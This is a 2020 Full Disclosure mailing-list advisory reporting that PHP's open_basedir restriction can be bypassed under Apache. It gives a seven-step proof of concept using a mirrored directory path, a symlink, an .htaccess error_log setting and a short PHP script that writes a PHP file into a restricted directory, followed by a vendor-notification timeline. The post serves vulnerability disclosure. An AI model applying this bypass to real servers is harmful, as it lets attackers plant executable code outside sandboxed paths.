[prev in list] [next in list] [prev in thread] [next in thread] 

List:       full-disclosure
Subject:    [FD] Apache + PHP <= 7.4.10 open_basedir bypass
From:       Havijoori via Fulldisclosure <fulldisclosure () seclists ! org>
Date:       2020-09-16 4:15:44
Message-ID: txQZJojgxR4ushIHqaUiQ8MdFA_gEVQiB8t2EmDA0A_kdbGklMyufzaTHEz8_N2z6gJhdf_SFYDJL3F6gBG5vT_7Lnut49mybCr3MjqTxy0= () protonmail ! com
[Download RAW message or body]

Introduction
============
open_basedir security feature can be bypassed when Apache web server runs PHP scripts.

Proof of Concept
================
1. Set open_basedir as a security feature in php.ini file :
   open_basedir = /var/www/html:/tmp
2. Make a directory with the name of your web server's home directory inside your web server's home directory :
   mkdir -p /var/www/html/var/www/html
3. Make a symlink to a restricted writable directory inside this new directory :
   ln -s /home/havijoori/www/uploads /var/www/html/var/www/html/test
4. Make a .htaccess file in your web server's root directory to set php value :
   php_value error_log "var/www/html/test/hacked.php"
5. Make a PHP script, "bypass.php" in your web server's root directory to exploit the vulnerability :
   <?php error_log("<?php phpinfo(); ?>"); ?>
6. Call the script :
   curl http://webserver/bypass.php
7. After successful exploitation, our file "hacked.php" should be created in the restricted directory :
   ls /home/havijoori/www/uploads/hacked.php

Tested with PHP 5.2.5 and 7.x.
Similar to CVE-2007-3378.

Timeline
========
2020-08-17 : Vendor notified (bug #79985)
2020-08-26 : Vendor changed the report's status to "Not a bug"
2020-09-03 : PHP 7.4.10 released without any patch
2020-09-16 : Public disclosure. Maybe the community can fix the bug!

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/
[prev in list] [next in list] [prev in thread] [next in thread] 

Configure | About | News | Add a list | Sponsored by KoreLogic